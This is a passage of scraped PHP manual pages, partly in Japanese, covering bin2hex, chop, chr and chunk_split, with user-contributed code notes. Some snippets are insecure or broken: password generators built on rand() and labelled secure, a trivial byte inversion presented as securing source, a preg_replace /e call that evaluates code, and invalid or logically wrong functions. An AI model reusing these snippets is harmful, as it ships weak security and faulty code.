me at juanmaria dot com 03-Sep-2009 06:05
Regarding the fabled hex2bin, the easiest way I've found to "replace" it is the following call to function pack():

<?php
$bin_str = pack("H*" , $hex_str);
?>
chaos79 03-Oct-2008 08:30
Because the way back (hex2bin) doesn't exist on php, i've written another little function without using commands like pack:

<?php
// Convert a hex-string to binary-string (the way back from bin2hex)

function hex2bin($h)
  {
  if (!is_string($h)) return null;
  $r='';
  for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h{$a}.$h{($a+1)})); }
  return $r;
  }

echo bin2hex('Hello'); // result: 48656c6c6f
echo hex2bin('48656c6c6f'); // result: Hello
?>
admin at purespider dot de 15-Aug-2008 05:08
The most simple way to do binary (10101010 or so) to hex is
<?PHP echo dechex(bindec(10101010)); ?>
kissifrot at gmail dot com 26-Nov-2007 02:37
hex2bin can be useful to insert data into BLOB binary fields.

for example if you want to insert the content of a file :

<?php
$filename = '/foo/bar';
$bin_content = fread(fopen($filename,"r"),filesize($filename));

// use the usual mysql_connect() function

$insert_query = "INSERT INTO mytable (blob_field) VALUES ('".bin2hex($bin_content)."')";
mysql_query($insert_query);

?>
tehjosh at gamingg dot net 11-Aug-2007 11:35
This function is for converting binary data into a hexadecimal string representation.  This function is not for converting strings representing binary digits into hexadecimal.  If you want that functionality, you can simply do this:

<?php
$binary = "11111001";
$hex = dechex(bindec($binary));
echo $hex;
?>

This would output "f9".  Just remember that there is a very big difference between binary data and a string representation of binary.
manithu at fahr-zur-hoelle dot org 09-Jan-2005 01:30
This function returns the string $str in htmlentity hex format (&#xnumber;).
It is useful to prevent spam bots indexing your email adress.

<?php

function hexentities($str) {
    $return = '';
    for($i = 0; $i < strlen($str); $i++) {
        $return .= '&#x'.bin2hex(substr($str, $i, 1)).';';
    }
    return $return;
}

?>

example:
<?php echo 'email: <address>'.hexentities('foo@bar').'</address>'; ?>
will return:

email: <address>&#x66;&#x6f;&#x6f;&#x40;&#x62;&#x61;&#x72;</address>

the browser will show foo@bar.
j_lozinskit at yahoo dot co dot uk 24-Nov-2004 05:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
t0rus at dr dot com 22-Nov-2004 08:18
modified version of Thoth's hexbin and binhex to convert
any size numbers
(original doesn't take more than integer - 32bit)
<?
function hexbin($hex){
    $bin='';
    for($i=0;$i<strlen($hex);$i++)
        $bin.=str_pad(decbin(hexdec($hex{$i})),4,'0',STR_PAD_LEFT);
       return $bin;
}

function binhex($bin){
    $hex='';
    for($i=strlen($bin)-4;$i>=0;$i-=4)
        $hex.=dechex(bindec(substr($bin,$i,4)));
   return strrev($hex);
}
?>
brams006 at umn dot edu 19-Aug-2004 03:05
Here's a modified version of an earlier post (asc2bin and bin2asc) to convert an incoming ascii string to hex and out again.  For example, this is really useful if you want to insert data into a mySQL database which contains both escaped and non-escaped characters.  For example, if you want to store code snibbets in a mySQL text field:

printf("here's some \"text\".");

If you INSERT this into mySQL, it probably won't come out in friendly executable format, and you can't escape all double-quotes, nor can you strip out all the slashes.  One solution is to just convert the string to hex, store it in hex, then convert back to ascii before using it in some way:

function asc2hex ($temp) {
   $len = strlen($temp);
   for ($i=0; $i<$len; $i++) $data.=sprintf("%02x",ord(substr($temp,$i,1)));
   return $data;
}

function hex2asc($temp) {
   $len = strlen($temp);
   for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($temp,$i,2)));
   return $data;
}
mhspam at mail dot sce dot cz 23-Apr-2004 07:14
My version of quoted-printable mail subject converting function (maybe not as effective, but preserving characters which don't need conversion).
Martin
<?php
// Transfer mail subject into Quoted Printable encoding
function mail_quote_subj($str, $charset){
    $out = '';
    for($i = 0; $i < strlen($str); $i++){
        $out .= (ord($str[$i]) > 127) ? "=" . bin2hex($str[$i]) : $str[$i];
    }
    return "=?$charset?Q?".$out."?=";
};
?>
AntonioAlcorn at yahoo dot coma 19-Apr-2004 11:34
In response to Patrik:
A simpler way to print a number in binary is to use base_convert().
<? echo base_convert($bin, 10, 2); ?>
If you need it to print all 32 bits (as your function does) you can just pad it out:
<? echo str_pad(base_convert($bin, 10, 2), 32, '0', STR_PAD_LEFT); ?>
The conversion is from base 10 because when $bin is passed to base_convert(), it is converted to a string, and the default representation is in decimal.
Hope this helps.
Patrik 01-Feb-2004 09:14
I needed a little function that will print the binary as a string, here it comes.

<?php
function bin2string($bin) {
    $res = "";
    for($p=31; $p >= 0; $p--) {
      $res .= ($bin & (1 << $p)) ? "1" : "0";
    }
    return $res;
}
?>
mkr at binarywerks dot dk 29-Oct-2003 05:34
Ok, this is a better version than my previous poor example.

Running this in shell creates a progress indicator. Very useful if used when parsing large log files for instance.

#!/usr/bin/php4 -q
<?
// Displays a progress indicator
function progress($line)
{
        global $last_len;

        $del_char = pack("H" . 2, "7F");
        $line_len = strlen($line);
        $del_chars=(isset($last_len)) ? $last_len : $line_len;

        $last_len = $line_len;
        return str_repeat($del_char, ($del_chars)).$line;
}

// demo code:
for($i=0;$i<100;$i++)
{
        sleep(1);
        echo progress("i is now: $i out of 100");
}
?>
Thoth 24-Oct-2003 05:24
I thought it'll give me an "F" if i give it a "1111"...

Here's something to convert a binary-string into a hex-string and other direction too:

<?php
function hexbin($hex) {
    $bin = decbin(hexdec($hex));
    return $bin;
}

function binhex($bin) {
    $hex = dechex(bindec($bin));
    return $hex;
}
?>

simple, isn't it?
Francisco (ffaria at mutua dot com dot br) 21-Jul-2003 04:33
function to search a character in a normal string change this for a hexadecimal and take the especifical char code in hexa and replace this char and return the string

<?php
function hex_replace($pCaracter,$sCaracter,$conteudo) {

    $pHex = bin2hex($pCaracter);
    $sHex = bin2hex($sCaracter);

    $tam = strlen($conteudo);

    for($i = 0; $i <= $tam; $i++) {
        $cont = bin2hex(substr($conteudo,$i,1));

        if ($cont == $pHex) {
           $cont = $sHex;
           $hex .= $cont;
        }
    }

    for ($i=0;$i<strlen($hex);$i+=2)
          $bin .= chr(hexdec(substr($hex,$i,2)));
    return $bin;
}
?>

by from a litle brazilian. :-P
admin at tsunaquack dot com 16-Jan-2003 01:04
Some gave a function to convert a hex code back into a simple text (human readable ASCII :P)

Some else gave a function that makes use of bin2hex to convert URLs into something like %12%34%56

Here is a function to go from the form %12%34%56 back into ASCII

Note that this function can easily be changed in order to transform any hex code into ASCII

<?
function _hex2text($str) {
    $str = explode('%', $str);
    array_shift($str);
    $nmlstr = '';
    foreach($str as $hexstr) {
      $nmlstr .= chr(base_convert($hexstr, 16, 10));
    }
    return $nmlstr;
}
?>

'hope this helps :)
Regards
-Tsuna
matthew dot eastman at hotpop dot com 08-Oct-2002 10:00
This function undoes it (converts back into ASCII).

<?php
function hex2asc($myin) {
for ($i=0; $i<strlen($myin)/2; $i++) {
$myout.=chr(base_convert(substr($myin,$i*2,2),16,10));
}
return $myout;
}
?>
matt at zevi dot net 21-Aug-2002 02:27
Hopefully this helps someone...

It just displays an html representation of hex data, much like a hex viewer would.

Matt

<?php
function hexview($data){
  $bytePosition = $columnCount = $lineCount = 0;
  $columns = 8;
  $dataLength = strlen($data);
  $return = array();
  $return[] = '<table border="1" cellspacing="0" cellpadding="2">';
  for($n = 0; $n < $dataLength; $n++){
    $lines[$lineCount][$columnCount++] = substr($data, $n, 1);
    if($columnCount == $columns){
      $lineCount++;
      $columnCount = 0;
    }
  }
  foreach($lines as $line){
    $return[] = '<tr><td align="right">'.$bytePosition.': </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.strtoupper(bin2hex($line[$n])).'</td>';
    }
    $return[] = '<td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>';
    for($n = 0; $n < $columns; $n++){
      $return[] = '<td>'.(htmlentities($line[$n]) ? htmlentities($line[$n]) : '&nbsp;').'</td>';
    }
    $return[] = '</tr>';
    $bytePosition = $bytePosition + $columns;
  }
  $return[] = '</table>';
  return implode('', $return);
}
?>
tightcode at hotmail dot com 25-Aug-2001 08:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
    $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
    return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
pedram at redhive dot com 31-Jan-2001 05:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
        $encoded = bin2hex("$email_address");
        $encoded = chunk_split($encoded, 2, '%');
        $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
        return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram


rtrim のエイリアス

  • ≪ bin2hex
  • chr ≫
  • PHP Manual
  • String 関数
  • rtrim のエイリアス

chop

(PHP 4, PHP 5, PHP 7, PHP 8)

chop — rtrim() のエイリアス

説明

この関数は次の関数のエイリアスです。 rtrim().

注意

注意:

chop() は、文字列の末尾の文字を削除する Perl の chop()関数とは異なります。

User Contributed Notes

JumpIfBelow 11-Aug-2015 09:46
If you are searching for a function that does the same trick as chop in PERL, then you should just do the following code:
<?php
   $str = substr($str, 0, -1);
?>

The question is: why isn't chop() an alias of the code above, rather than something which will trap developpers?
Kubo2 11-Apr-2015 10:30
Rather use rtrim(). Usage of chop() is not very clear nor consistent for people reading the code after you.
krkbpk at gmail dot com RamaKrishna Kothamasu 08-Feb-2013 01:20
//simple example function for chop()
<?php
echo "<pre>";//without <pre> you cann't see desired output in your browser
echo chop("   Ramki   ");//right spaces are eliminated
echo chop("Ramkrishna", "a..z");
echo "</pre>";
?>
/*output
  ------
  RamkiR*/
rahuls8730 at gmail dot com 17-May-2009 11:03
Definition and Usage

The chop() function will remove a white space or other predefined character from the right end of a string.

This function is an alias of the rtrim() function.
Syntax
chop(string,charlist)

Parameter     Description
string     Required. Specifies the string to check
charlist     Optional. Specifies which characters to remove from the string.
The following characters are allowed and is set to be removed if the charlist parameter is empty:

    * "\0" - ASCII 0, NULL
    * "\t" - ASCII 9, a tab
    * "\n" - ASCII 10, a new line
    * "\x0B" - ASCII 11, a vertical tab.
    * "\r" - ASCII 13, a carriage return
    * " " - ASCII 32, an ordinary white space
anon at mailinator dot com 11-May-2007 01:06
Another possible one would be to use this:

<?php
function chup(){

$ar=Array();

foreach(func_get_args() as $b) {

push($ar,$b[strlen($b)-1]);

&$b[strlen($b)-1]='';

  }

return $ar;

 }
?>

If you wanted to perl-chop a va list of strings and return the removed chars. Obviously you can easily mod it for va list arrays of strings and the like.


数値から、1バイトの文字列を生成する

  • ≪ chop
  • chunk_split ≫
  • PHP Manual
  • String 関数
  • 数値から、1バイトの文字列を生成する

chr

(PHP 4, PHP 5, PHP 7, PHP 8)

chr — 数値から、1バイトの文字列を生成する

説明

chr ( int $codepoint ) : string

codepoint を符号なし数値と解釈することによって指定された文字を含む、 1文字からなる文字列を返します。

この関数は、ASCII, ISO-8859, Windows 1252 のような シングルバイトエンコーディング においては、文字セットのマッピングテーブルにある望みの文字の位置を 渡すことで、一文字の文字列を作り出すのに使えます。 しかし、この関数は string のエンコーディングについて知りませんし、 特に UTF-8 や UTF-16 のようなマルチバイトエンコーディングについては、 この関数に Unicode のコードポイントは渡せないことに注意してください。

この関数はord()の逆の動作をします。

パラメータ

codepoint

0 から 255 までの数値

妥当な範囲 (0..255) 外の値を渡した場合は、255 とのビット AND を行います。 この処理は、以下のコードと同様のアルゴリズムです。

while ($bytevalue < 0) {
    $bytevalue += 256;
}
$bytevalue %= 256;

返り値

指定されたバイトを含む、一文字からなる文字列を返します。

変更履歴

バージョン | 説明
7.4.0 | codepoint に対して、 サポートされていない入力が与えられた場合、 黙って0 にキャストする動作をしなくなりました。

例

例1 chr() の例

<?php
// Assumes the string will be used as ASCII or an ASCII-compatible encoding

$str = "この文字列はエスケープで終了します: ";
$str .= chr(27); /* $str の最後にエスケープ文字を付加する */

/* こちらの方がより便利なことが多い */

$str = sprintf("この文字列はエスケープで終了します: %c", 27);
?>

例2 オーバーフローの挙動

<?php
echo chr(-159), chr(833), PHP_EOL;
?>

上の例の出力は以下となります。

aA

例3 個別のバイトから、UTF-8 文字列を組み立てる

<?php
$str = chr(240) . chr(159) . chr(144) . chr(152);
echo $str;
?>

上の例の出力は以下となります。

??

参考

  • sprintf() - フォーマットされた文字列を返す のフォーマット文字列 %c
  • ord()
  • » ASCII テーブル
  • mb_chr()

User Contributed Notes

gfour 11-Aug-2019 05:29
I was looking for a simple method to construct excel like column identifiers e.g: A B .... AA AB AC etc, using chr() and modulo, but there is magic...
https://www.php.net/manual/en/language.operators.increment.php

So, this also works
<?php
$p = chr(65);      // or simply $p = 'A';
for ($i = 1; $i < 53; $i++){
    echo $p++ . " - ";
    if ($i % 10 == 0) echo '</br>';
}
?>

Gives
A - B - C - D - E - F - G - H - I - J -
K - L - M - N - O - P - Q - R - S - T -
U - V - W - X - Y - Z - AA - AB - AC - AD -
AE - AF - AG - AH - AI - AJ - AK - AL - AM - AN -
AO - AP - AQ - AR - AS - AT - AU - AV - AW - AX -
AY - AZ -
Ray.Paseur sometimes uses Gmail 28-Jan-2019 08:47
I needed to generate an invalid UTF-8 character for testing with JSON.  This did the trick:

<?php
echo 'Bogus UTF-8 character at end' . chr(0xC6) ;
ibaid at mail dot ru 28-Mar-2018 05:20
string mb_chr ( int $cp [, string $encoding ] )
Parameter List:
cp - character code (in decimal notation)
encoding - encoding (UTF-8, ASCII and so on)

We get the letter 'Ж'  from the encoding UTF-8:

$sim = mb_chr(0x0416, 'UTF-8');
echo $sim; // Ж

Get the character '}' from the encoding ASCII:

$sim = mb_chr(125, 'ASCII');
echo $sim ; // }
vitkorob 09-Feb-2016 01:01
Another quick function to get unicode char by its code.

<?php

function unichr($dec)
{
  if ($dec < 0x80)
  {
    $utf = chr($dec);
  }
  else if ($dec < 0x0800)
  {
    $utf = chr(0xC0 + ($dec >> 6));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x010000)
  {
    $utf = chr(0xE0 + ($dec >> 12));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x200000)
  {
    $utf = chr(0xF0 + ($dec >> 18));
    $utf .= chr(0x80 + (($dec >> 12) & 0x3f));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else
  {
    die("UTF-8 character size is more than 4 bytes");
  }

  return $utf;
}

echo unichr(0x263A);

?>
synnus at gmail dot com 10-Sep-2015 08:34
// rivencodec 1.0
// encode riverse ascii 1 simple function can encode/decode
// can use it for secure source with speed encode text

<?php

    function rivencodec($ch,$a=0) {
        while((@$b = $ch[$a++])) { $ch[$a-1] = chr(255-ord($b)); }
        return $ch;
    }

$zz = rivencodec("abcdefghijklmn");
echo 'encode: ',$zz,'<br/>',PHP_EOL;

$yy = rivencodec($zz);
echo 'decode: ',$yy,'<br/>',PHP_EOL;

?>
lingtalfi - at - somewhere 13-Jun-2015 06:09
It seems that php uses the table from here: http://ascii-code.com/
(and not from here: http://www.asciitable.com/ as suggested in the documentation) for codes from 128 to 255.

<?php
for ($i = 32; $i <= 255; $i++) {
    echo chr($i);
}
?>
v14t at gmx dot com 01-Apr-2014 05:58
argument is automatically converted to integer, so chr('65') and chr(65) would both output the letter A
darek at module17 dot com 07-Mar-2013 07:45
Simple password generation function using sprintf and the %c type specifier; which is the same as chr().

function genPass($len = 8) {
    for ($i=0;$i<=$len;$i++) {
        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, rand(48, 122));
    }
    return $passwd;
}
gjarrige at six-axe dot fr 01-Mar-2012 09:47
to remove the ASCII control characters (except "line feed" and "tab") :

$tab_chr = array() ;
for($control = 0; $control < 32; $control++) {
    if ($control != 9 && $control != 10) {
        $tab_chr[]= chr($control) ;
    }
}
$tab_chr[]= chr(127) ;
$string = str_replace($tab_chr, '', $string);
mailderemi at gmail dot com 04-Feb-2011 08:17
Here is a sample of encoding and decoding using "chr" and "ord".
<?php
    function Encode($txtData,$Level){
        for ($j = 0;$j<$Level;$j++){
            $tmpStr = '';
            for ($i = 0;$i<strlen($txtData);$i++)
                $tmpStr .= ord(substr(strtoupper($txtData), $i, 1));
            $txtData = $tmpStr;
        }
        return (strlen($Level)).$Level.$txtData;
    }

    function Decode($txtData){
        $intLevel = substr($txtData, 1, substr($txtData, 0, 1));
        $startStr = substr($txtData, substr($txtData, 0, 1)+1, strlen($txtData));
        for ($j = 0;$j<$intLevel;$j++){
            for ($i = 0;$i<strlen($startStr);$i+=2)
                $tmpStr .= chr(intval(substr($startStr, $i, 2)));
            $startStr = $tmpStr;

            $tmpStr = "";
        }
        return $startStr;
    }

echo Encode('123',4).'<br>';
echo Decode(Encode('123',5));
?>
sinfocol at sinfocol dot org 30-Jun-2009 02:38
The function chr() also accepts negative numbers as an ascii code, so chr(-number) is equal to chr((number%256)+256).
And for ascii code higher than 255 is chr(number%256)

We can test with a little script
<?php
    for($i=-300; $i<300; $i++){
        echo "Ascii $i\t" . ord(chr($i)) . "\n";
    }
?>
voromax 31-Jan-2009 07:39
Another quick and short function to get unicode char by its code.

<?php
/**
 * Return unicode char by its code
 *
 * @param int $u
 * @return char
 */
function unichr($u) {
    return mb_convert_encoding('&#' . intval($u) . ';', 'UTF-8', 'HTML-ENTITIES');
}
?>
scott at quinlan dot co dot nz 20-Oct-2008 09:51
Secure password generator with a variable maximum amount of symbols.

<?php

function passwdGen($minLength = 8, $maxLength = 12, $maxSymbols = 2)
{
    $symbolCount = 0;

    srand((double)microtime() * 1000003);

    for ($i = 0; $i < rand($minLength, $maxLength); $i++)
    {
        do
        {
            $char = rand(33, 126);

            $symbolCount += $isSymbol = (!in_array($char, range(48, 57)) && !in_array($char, range(65, 90)) && !in_array($char, range(97, 122)));

            if ($symbolCount <= $maxSymbols || !$isSymbol)
            {
                break;
            }
        }
        while (true);

        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, $char);
    }

    return $passwd;
}

?>
Josh B. 12-Aug-2008 02:06
In addition to replacing Microsoft Windows smart quotes, as sgaston demonstrated on 2006-02-13, I replace all other Microsoft Windows characters using suggestions[1] published by character code specialist[2] Jukka Korpela.

<?php
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
$str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
$str = str_replace(chr(147), '"', $str);    // left double quote
$str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
$str = str_replace(chr(152), '~', $str);    // tilde accent
$str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
$str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
?>

[1] On the use of some MS Windows characters in HTML
http://www.cs.tut.fi/~jkorpela/www/windows-chars.html

[2] Unicode Explained by Jukka Korpela
http://www.amazon.com/dp/059610121X/
darkodemon at gmail dot com 27-Apr-2007 04:33
chr() with unicode support

<?php

function uchr ($codes) {
    if (is_scalar($codes)) $codes= func_get_args();
    $str= '';
    foreach ($codes as $code) $str.= html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8');
    return $str;
}

echo uchr(23383); echo '<br/>';
echo uchr(23383,215,23383); echo '<br/>';
echo uchr(array(23383,215,23383,215,23383)); echo '<br/>';

?>
grey - greywyvern - com 19-Aug-2005 07:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
    $utf = chr($dec);
  } else if ($dec < 2048) {
    $utf = chr(192 + (($dec - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  } else {
    $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
    $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
tenyou at gmail dot com 14-Jul-2004 11:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
        for ($i=0; $i < strlen($string); $i)  {
        $decoded .= chr(hexdec(substr($string,$i,2)));
        $i = (float)($i)+2;
        }
return $decoded;
}
?>
perrodin at laposte dot net 11-Apr-2004 04:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
Kristin 06-Mar-2003 08:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com 14-Dec-2002 02:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
        'LIGHT_RED'      => "[1;31m",
        'LIGHT_GREEN'     => "[1;32m",
        'YELLOW'     => "[1;33m",
        'LIGHT_BLUE'     => "[1;34m",
        'MAGENTA'     => "[1;35m",
        'LIGHT_CYAN'     => "[1;36m",
        'WHITE'     => "[1;37m",
        'NORMAL'     => "[0m",
        'BLACK'     => "[0;30m",
        'RED'         => "[0;31m",
        'GREEN'     => "[0;32m",
        'BROWN'     => "[0;33m",
        'BLUE'         => "[0;34m",
        'CYAN'         => "[0;36m",
        'BOLD'         => "[1m",
        'UNDERSCORE'     => "[4m",
        'REVERSE'     => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
    global $_colors;
    $out = $_colors["$color"];
    if($out == ""){ $out = "[0m"; }
    if($back){
        return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }else{
        echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
happyevil(at)1218.org 26-Mar-2001 07:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com 09-May-2000 04:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.


文字列をより小さな部分に分割する

  • ≪ chr
  • convert_cyr_string ≫
  • PHP Manual
  • String 関数
  • 文字列をより小さな部分に分割する

chunk_split

(PHP 4, PHP 5, PHP 7, PHP 8)

chunk_split — 文字列をより小さな部分に分割する

説明

chunk_split ( string $string , int $length = 76 , string $separator = "\r\n" ) : string

文字列をより小さな部分に分割する際に使用され、 base64_encode() の出力を RFC 2045の規約に基づいた出力に変換するといった用途に適しています。 この関数は、length 文字毎に文字列 separator を挿入します。

パラメータ

string

分割したい文字列。

length

各部分の長さ。

separator

行末の区切り。

返り値

分割した文字列を返します。

例

例1 chunk_split() の例

<?php
// RFC 2045 に基づき $data をフォーマットします
$new_string = chunk_split(base64_encode($data));
?>

参考

  • str_split() - 文字列を配列に変換する
  • explode() - 文字列を文字列により分割する
  • split() - 正規表現により文字列を分割し、配列に格納する
  • wordwrap() - 指定した文字数で文字列を分割する
  • » RFC 2045

User Contributed Notes

chris at ocproducts dot com 24-Apr-2017 07:48
The description of the function is slightly inaccurate. A trailing $end is also added.
vijit at mail dot ru 23-Feb-2016 06:22
As an alternative for  qeremy [atta] gmail [dotta] com
There is much shorter way for binarysafe chunking of multibyte string:

<?php
function word_chunk($str, $len = 76, $end = "\n") {
    $pattern = '~.{1,' . $len . '}~u'; // like "~.{1,76}~u"
    $str = preg_replace($pattern, '$0' . $end, $str);
    return rtrim($str, $end);
}

$str = 'русский';
echo chunk_split($str, 3) ."\n";
echo word_chunk($str, 3) . "\n";
?>

р?
?с
с?
?и
й

рус
ски
й
Anonymous 19-Feb-2014 01:57
Important note is the maximum line length and the recommended one. The standard says:
"Lines in a message MUST be a maximum of 998 characters excluding the CRLF, but it is RECOMMENDED that lines be limited to 78 characters excluding the CRLF. "

See PHP manual for chunk_split() Which is set to 76 characters long chunk and "\r\n" at the end of line by default.
qeremy [atta] gmail [dotta] com 28-Feb-2012 03:35
An alternative for unicode strings;

<?php
function chunk_split_unicode($str, $l = 76, $e = "\r\n") {
    $tmp = array_chunk(
        preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $l);
    $str = "";
    foreach ($tmp as $t) {
        $str .= join("", $t) . $e;
    }
    return $str;
}

$str = "Yar?m kilo cay, yar?m kilo ?eker";
echo chunk_split($str, 4) ."\n";
echo chunk_split_unicode($str, 4);
?>

Yar?
?m k
ilo
cay
, ya
r?m
 kil
o ?
eker

Yar?
m ki
lo c
ay,
yar?
m ki
lo ?
eker
belal dot nabeh at gmail dot com 10-Aug-2010 08:02
If you are using UTF-8 charset you will face a problem with Arabic language
to solve this problem i used this function

<?php
function chunk_split_($text,$length,$string_end)
{
    $text = iconv("UTF-8","windows-1256",$text);
    $text = str_split($text);
    foreach($text as $val)
    {
        if($a !== $val)
        {
            $a = $val;
            $x = 0;
        }else{
            $a = $val;
            $x++;
        }
        if($x > $length)
        {
            $new_text .= $val.$string_end;
            $x = 0;
        }else
        {
             $new_text .= $val;
        }

    }
    $new_text = iconv("windows-1256","UTF-8",$new_text);
    return $new_text;
}
?>
Peter from dezzignz.com 05-Apr-2010 04:30
chunk_split() is not multibyte safe. If you ever run into needing the function that is multibyte safe, here you go:

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = 0;
    $new = '';
    foreach ($array as $char) {
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
        $n++;
    }
    return $new;
}

?>
dampee at earthlink dot net 20-Nov-2009 09:10
I've found this quite useful for simulating various kinds of shuffles with cards.  It is humorous but can imitate multiple deck cuts and other (imperfectly) random events.

<?php
function truffle_shuffle($body, $chunklen = 76, $end = "\r\n")
{
     $chunk = chunk_split($body, $chunklen, "-=blender=-");
     $truffle = explode("-=blender=-",$chunk);
     $shuffle = shuffle($truffle);
     $huknc = implode($end,$shuffle);
     return $huknc;
}
?>
tim at weird spots in my crotch dot com 08-May-2008 02:29
@Royce

I think this is better, since you can still use the ampersand in your text:

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    elseif($c == " ")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
neos at blizzz dot ru 03-May-2008 11:38
"version" of chunk_split for cyrillic characters in UTF-8

public function UTFChunk($Text,$Len = 10,$End = "\r\n")
{
    if(mb_detect_encoding($Text) == "UTF-8")
